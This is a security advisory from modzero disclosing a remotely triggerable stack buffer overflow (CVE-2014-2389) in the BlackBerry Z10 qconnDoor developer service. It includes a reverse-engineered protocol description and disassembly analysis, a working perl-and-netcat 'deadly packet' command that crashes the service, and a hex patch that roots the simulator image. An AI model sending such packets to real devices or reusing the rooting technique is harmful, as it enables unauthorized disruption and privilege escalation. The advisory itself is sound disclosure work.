--------------------------------------------------------------------- modzero Security Advisory: BlackBerry Z 10 - Buffer Overflow in qconnDoor [MZ-13-05] --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Timeline --------------------------------------------------------------------- * 2013-06-23: Vendor has been contacted. * 2013-06-24: Vendor response. * 2013-06-27: Vendor meeting and information exchange. * 2013-08-20: Advisory and more details sent to the vendor. * 2013-10-15 or after patch-release: Advisory will be published. * 2013-12-05: Vendor requested delay of release, until a high level of carrier uptake has been achieved * 2014-01-14: Vendor announced release in March 2014 * 2014-04-01: Vendor achieved sufficient customer availability for this issue and announced release on April 8th, 2014. * 2014-04-08: Release of security advisory in cooperation with vendor. --------------------------------------------------------------------- 2. Summary --------------------------------------------------------------------- Vendor: BlackBerry Products known to be affected: Blackberry Z10 (model STL100-2, Software release: 10.1.0.2312, OS version: 10.1.0.2354, Build ID: 524717) Severity: Medium Remote exploitable: Yes CVE: CVE-2014-2389 qconndoor is a network service, running on the Blackberry Z10 to allow developers to access the device using BlackBerry's SDK tool-chain. The qconndoor process is used to e. g. enable SSH access to the device; More functionality is not documented yet and may remain proprietary. Even though the service is intended for being used by software developers in the Blackberry developer-mode only, the service is still running, even if the developer-mode is not enabled. The qconndoor process is executed under super-user UID 0 (root) privileges. modzero identified a stack-based buffer overflow in the qconnDoor service that can be triggered by an unauthenticated attacker. The buffer overflow issue can only be triggered, if the developer-mode has been activated once during runtime and can still be triggered when the developer-mode has been turned off. Since the developer service is exposed to the (wireless) network and the service is running with administrative privileges, the risk of a successful exploitation is considered high after the developer-mode has been turned on and off during runtime once. Even if exploit mitigations at first prevent a code execution, it is still possible to modify data variables in the affected services, which is a high risk, too. --------------------------------------------------------------------- 3. Details --------------------------------------------------------------------- To overflow the stack-buffer in qconnDoor, an attacker has to send a single specially crafted packet with any command code that triggers AES-decryption of the data payload (for example, command code #7). By specifying an invalid combination of encrypted and decrypted payload lengths, the decryption routine will write past the end of the decrypted plaintext buffer. qconnDoor will terminate immediately, because processing the packet causes a modification of the stack cookie, which the process detects. $ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' | nc target.host 4455 Analysis: To understand and estimate the impact and exploitability of the service, different executables were examined to obtain information about payload structure and program-flow. First of all, the blackberry-connect utility from the Blackberry Java SDK was analyzed to obtain information about the protocol format and data structure. Secondly, the qconnDoor executable of the x86 emulation environment has been analyzed, to gather information about internal code-flow and data-structures - assuming, that both executables are based on the same or similar source-code. The findings were used in a third, empirical test to reproduce the issue and the build a proof-of-concept procedure to verify the existance of the memory-corruption. These steps are described in more detail in the following sections. 3.1 Static Analysis of blackberry-connect (Java, from BB SDK) The BB10 SDK was installed using installer-bbndk-bb10_1_x-linux-1020-201303191709-201303191501.bin (MD5: 6c295359827636f0425e8bff73baee52). The Eclipse workbench was updated to the most recent version of the pubic SDK for being in sync with the simulator (BlackBerry Native SDK 10.1.0.2354). The directory $HOME/bbndk/host_10_1_0_235/linux/x86/usr/lib contains multiple jar files, which implement the client-side of the qconnDoor network protocol. In particular, jqconnDoor.jar (MD5: d8c93abceeb84b6bf3858d00982efccd) was decompiled to gain understanding of the qconnDoor protocol. The following qconnDoor messages could be reverse-engineered: Definition of data types: short 16 bit integer in network byte order (big endian) long 32 bit integer in network byte order (big endian) bytes sequence of bytes with variable length IV 16 bytes AES initialization vector Message: hello short 6 packet length short 2 protocol version short 1 command code Message: feedback short ? packet length short 2 protocol version short 2 command code short ? feedback code short ? length of feedback message in bytes bytes ? feedback message Message: challenge request short ? packet length short 2 protocol version short 3 command code short ? length of rsapubkey bytes ? rsapubkey Message: encrypted challenge response short ? packet length short 2 protocol version short 4 command code bytes ? ? opaque challenge data, possibly encrypted to previously sent rsapubkey Message: decrypted challenge response short ? packet length short 2 protocol version short 5 command code short ? encrypted length short ? decrypted length IV ? initialization vector bytes ? encrypted data Message: plaintext of encrypted data (AES-CBC with PKCS5 padding): short ? 4 + decrypted blob length + signature length short ? decrypted blob length short ? signature length bytes ? decrypted blob bytes ? signature Message: keepalive short 6 packet length short 2 protocol version short 6 command code Message: send ssh key short ? packet length short 2 protocol version short 7 command code short ? encrypted length short ? decrypted length IV ? initialization vector bytes ? encrypted data Message: plaintext of encrypted data (AES-CBC with PKCS5 padding): short ? key length bytes ? key Message: authenticate challenge request short 6 packet length short 2 protocol version short 8 command code Message: authenticate challenge response short ? packet length short 2 protocol version short 9 command code long ? algorithm long ? iterations char ? salt length char ? challenge length bytes ? salt bytes ? challenge Message: authenticate short ? packet length short 2 protocol version short 10 command code short ? encrypted length short ? decrypted length IV ? initialization vector bytes ? encrypted data Message: plaintext of encrypted data (AES-CBC with PKCS5 padding): short ? hash length bytes ? hash Message: start service short 6 packet length short 2 protocol version short 11 command code Message: close short 6 packet length short 2 protocol version short 12 command code The qconnDoor protocol messages contain many redundant length-fields which need to be validated by the recipient of the packet. This type of protocol implementation is highly prone to length validation issues. For example, a very obvious flaw is that the qconnDoor server-side sometimes sends wrong packet length fields. These malformed data-packets however, are processed by the client correctly without ending in undefined states or termination of the process, due to side-effects of the network-client implementation. The fact that qconnDoor runs with root priviledges, makes the server process a worthwhile target. 3.2 Static Analysis of qconnDoor (x86, simulator) Since binary x86 code is more convenient to reverse-engineer than ARM code and all qconnDoor binaries seem to be compiled from the same source-code-base, the one from the simulator was statically analyzed in the following step. Simulator VM: BlackBerry10Simulator-Installer-BB10_1_X-1483-Linux-201304131554.bin (MD5: db20e8151ece5a88f8b70d016e54df3f). The simulator was rooted by patching the VM disk image, resulting in a setuid 0 (root) binary (/tmp/setuidgid) that can be used to locally elevate privileges: # patch vmdk disk image perl -i.backup -0777 -pe 's/\x69\x66\x20\x5b\x20\x22\x24\x7b\x42\x4f\x41\x52\x44\x5f\x43\x4f\x4e\x46\x49\x47\x7d\x22\x20\x21\x3d\x20\x22\x64\x65\x76\x65\x6c\x6f\x70\x65\x72\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x72\x6d\x20\x2d\x72\x66\x20\x2f\x72\x6f\x6f\x74\x2f\x2e\x20\x3e\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x3b\x0a\x20\x20\x20\x20\x66\x69\x3b/\x63\x70\x20\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x65\x74\x75\x69\x64\x67\x69\x64\x20\x2f\x74\x6d\x70\x20\x26\x26\x20\x63\x68\x6d\x6f\x64\x20\x36\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x73\x65\x74\x75\x69\x64\x67\x69\x64\x3b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20/g' BlackBerry10Simulator-s001.vmdk Using root access in the emulator, many binaries could be extracted from the simulator's file system, including qconnDoor (MD5: 1dc6f998eaa4cd60653c1fe0df9a78b7). Afterwards, qconnDoor has been analyzed in IDA Pro with the intention to find bugs in message length validation checks. The binary did not contain symbols. Thus, function names are invented by the analyst. Notable functions are: .text:00003E4B get_byteswapped_enc_header [esp] char *raw_packet [esp+4] struct enc_header *decoded_packet The function expects encrypted/plaintext length fields, an initialization vector (IV) followed by encrypted data in the raw_packet buffer. The function copies all fields to the decoded_packet structure and performs endianess conversion where necessary. At addresses 0x3e87 and following, it contains arithmetic instructions operating on field lengths. This might be the remains of an optimized-out length validation check. .text:00003E9A recv_exact_and_decrypt eax connection_struct *conn edx char *plaintextbuf [esp] plaintextbuflen [esp+4] rawpayloadlen [esp+8] resultlenptr This function reads rawpayloadlen bytes (at least 24 bytes, but no more than 4090 bytes) from the network into a 4096 bytes long local buffer. The function calls get_byteswapped_enc_header to interpret the fixed header fields of the raw packet data. It validates that the length of decrypted data (as specified in the packet) is less or equal than plaintextbuflen (at address 0x3ff6). Furthermore, the function prepares an AES context (exact conditions when this may fail are not understood) and uses an unvalidated length of the encrypted data as specified in the packet as an argument to the AES decryption function _hu_AESDecrypt(), decrypting raw packet data into plaintextbuf (at address 0x3f7e). Thus, when length of encrypted data is larger than plaintextbuflen, the decrypted data will be written past the end of plaintextbuf, which results in a memory-corruption. .text:00004011 receive_command [esp] struct connection_struct *connection [esp+4] struct packet_header *headerbuf [esp+8] char *databuf [esp+12] int databuflen At the beginning, the function reads the common 6 byte long packet header from the network into databuf. When the command code is 6, 7 or 10, recv_exact_and_decrypt is called with plaintextbuf = databuf and plaintextbuflen = databuflen (at addresses 0x4158 and 0x41c0). Thus, when receive_command encounters a packet with command code 6, 7 or 10, decrypted data may be written past databuf + databuflen. .text:0000422D qconndoor_accept stack of function: -00001140 var_1140 dd ? -0000113C var_113C dd ? -00001138 headerbuf packet_header ? -00001120 len dd ? -0000111C buf db 4096 dup(?) -0000011C s db 256 dup(?) -0000001C canary dd ? -00000018 var_18 db 24 dup(?) +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 connection dd ? ; offset The function calls receive_command to acquire an initial hello packet with databuf = buf and databuflen = 4096. Thus, when a packet with command code 6, 7 or 10 is encountered (instead of hello packet) and the length of encrypted data in packet is larger than 4096 + 256 + 4 + 24 + 4 = 4384, a buffer overflow may occur and the code overwrites the return address. This overflow will be detected when the stack-canary is validated on function return. When the length of encrypted data in the packet is between 4096 and 4352 the variable s will be overwritten. This seems to have no malicous consequences, because the data written into s due to the buffer overflow is subsequently never used, but overwritten by a call to sprintf()). .text:00003284 big_receive_switch stack of function: -00001174 data_ptr dd ? -00001170 rtas_key_or_errmsg dd ? -0000116C _connection dd ? ; offset -00001168 algo_iter_salt algo_iter_salt ? -00001150 decoded_packet_header packet_header ? -00001138 challenge_length dd ? -00001134 buf db 4096 dup(?) -00000134 challenge db 280 dup(?) -0000001C canary dd ? -00000018 var_18 db 24 dup(?) +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 connection dd ? ; offset The main loop that receives packets after an initial hello message was processed in qconndoor_accept. The function calls receive_command to acquire packet data with databuf = buf and databuflen = 4096. When a packet with command code 6, 7 or 10 is encountered and the length of encrypted data in packet is larger than 4096 + 280 + 4 + 24 + 4 = 4408, a buffer overflow may occur and overwrites the return address. This overflow will be detected when the canary is validated on function return. When the encrypted length is between 4096 and 4376 the buffer "challenge" will be overwritten. How this may have malicous effects is not understood, because "challenge" is used in calls to undocumented external functions. Conclusion: All qconnDoor messages seem to be received via the receive_command function, which in turn calls the vulnarable recv_exact_and_decrypt whenever the command code is 6, 7 or 10. Depending on the exact code path, a stack-based buffer overflow overwriting the return address may occur when the length of encrypted data in the packet is larger than 4384 or 4408 bytes. AES encrypted messages are exchanged during normal operation of the qconnDoor protocol. Therefore, program states must exist where the vulnerable code path is traversed. The exact conditions where the vulnerable code path is not taken are unknown because external libraries are involved. To empirically verify the presence of this bug, the following "deadly packet" was conceived: Data Description 00 2a packet length (42, completely bogus but large enough to contain all relevant header fields) 00 02 protocol version 00 07 command code 12 00 encrypted length (4608, large enough to trigger the bug and overwrite return address) 0c 00 decrypted length (3072, small enough to pass the check in recv_exact_and_decrypt) ??...?? initialization vector ??...?? data 3.3 Empirical Testing Using the Deadly Packet 3.3.1 Unmodified simulator (i.e. not rooted, no changes after installation): Step 1: Connect once with blackberry-connect and terminate connection again $ bbndk/host_10_1_0_235/linux/x86/usr/bin/blackberry-connect 192.168.149.128 -sshPublicKey ~/.rim/bbt_id_rsa.pub Info: Connecting to target 192.168.149.128:4455 Info: Authenticating with target 192.168.149.128:4455 Info: Encryption parameters verified Info: Sending ssh key to target 192.168.149.128:4455 Info: ssh key successfully transferred. Info: Successfully connected. This application must remain running in order to use debug tools. Exiting the application will terminate this connection. ^C Step 2: Send deadly packet $ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' | nc 192.168.149.128 4455 Result: qconnDoor stopped working $ nc -v 192.168.149.128 4455 nc: connect to 192.168.149.128 port 4455 (tcp) failed: Connection refused 3.3.2 Unmodified simulator, same as above but with device password set: Step 1: Connect with blackberry-connect, this will fail due to the unknown password $ bbndk/host_10_1_0_235/linux/x86/usr/bin/blackberry-connect 192.168.149.128 -sshPublicKey ~/.rim/bbt_id_rsa.pub Info: Connecting to target 192.168.149.128:4455 Info: Authenticating with target 192.168.149.128:4455 Info: Encryption parameters verified Error: The device password is set on the device. You must provide the device password in order to authenticate, or clear the password on the device. Step 2: Send deadly packet $ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' | nc 192.168.149.128 4455 Result: qconnDoor stopped working $ nc -v 192.168.149.128 4455 nc: connect to 192.168.149.128 port 4455 (tcp) failed: Connection refused 3.3.3 BlackBerry Z10 with developer-mode activated For this test, the Z10 is a client in a wireless network. The developer-mode was activated. According to the "Developer Mode" settings dialog, the "Developer IP Address" is 169.254.0.1. Nevertheless, the attacker's host is a wireless participant, too, and has a different IP address. Step 1: Check availability of the service: $ nc -v 10.0.0.121 4455 Connection to 10.0.0.121 4455 port [tcp/*] succeeded! Step 2: Connect with blackberry-connect, this will fail due to the unknown password: $ /opt/bbndk/host_10_1_0_132/linux/x86/usr/bin/blackberry-connect 10.0.0.121 -password 'wrong' -sshPublicKey id_rsa.pub Info: Connecting to target 10.0.0.121:4455 Info: Authenticating with target 10.0.0.121:4455 Info: Encryption parameters verified Info: Authenticating with target credentials. Error: Connection refused: The device password you provided is incorrect. Step 3: Disable developer-mode This step can be omitted. Step 4: Send deadly packet $ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' | nc 10.0.0.121 4455 Step 5: Check availability $ nc -v 10.0.0.121 4455 nc: connect to 10.0.0.121 port 4455 (tcp) failed: Connection refused Result: Running blackberry-connected even with an invalid password is required in order to initilize communication functionality in qconnDoor. Therefore, the developer-mode has to be enabled. Afterwards, the developer-mode is not necessary and may be disabled again. After sending the deadly packet, the qconnDoor service is not available anymore. The qconnDoor TCP port is even accessible from hosts other than the "Developer IP Address" and even if the developer-mode is disabled. --------------------------------------------------------------------- 4. Impact --------------------------------------------------------------------- The stack-based buffer overflow results in a memory-corruption, which may result in remote code execution. Countermeasures against buffer overflows such as Address Space Layout Randomization and stack cookies mitigate an easy exploitation. Since there is another variable stored in the stack frame of the affected function, at least this variable can be modified, too. It is not known if the affected variable that can be overwritten is actually used afterwards. --------------------------------------------------------------------- 5. Workaround --------------------------------------------------------------------- To defeat the above described attack, the developer-mode should be disabled. Other workarounds are not known. --------------------------------------------------------------------- 6. Fix --------------------------------------------------------------------- Vendor provided bugfix. --------------------------------------------------------------------- 7. Credits --------------------------------------------------------------------- * David Gullasch (dagu@modzero.ch) * Max Moser (mmo@modzero.ch) * Martin Schobert (martin@modzero.ch) --------------------------------------------------------------------- 8. About modzero --------------------------------------------------------------------- The independent Swiss company modzero AG assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero AG work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. http://modzero.ch contact@modzero.ch --------------------------------------------------------------------- 9. Disclaimer --------------------------------------------------------------------- The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. --------------------------------------------------------------------- See also: http://www.modzero.ch/advisories/MZ-13-05-Blackberry_Z10-qconnDoor.txt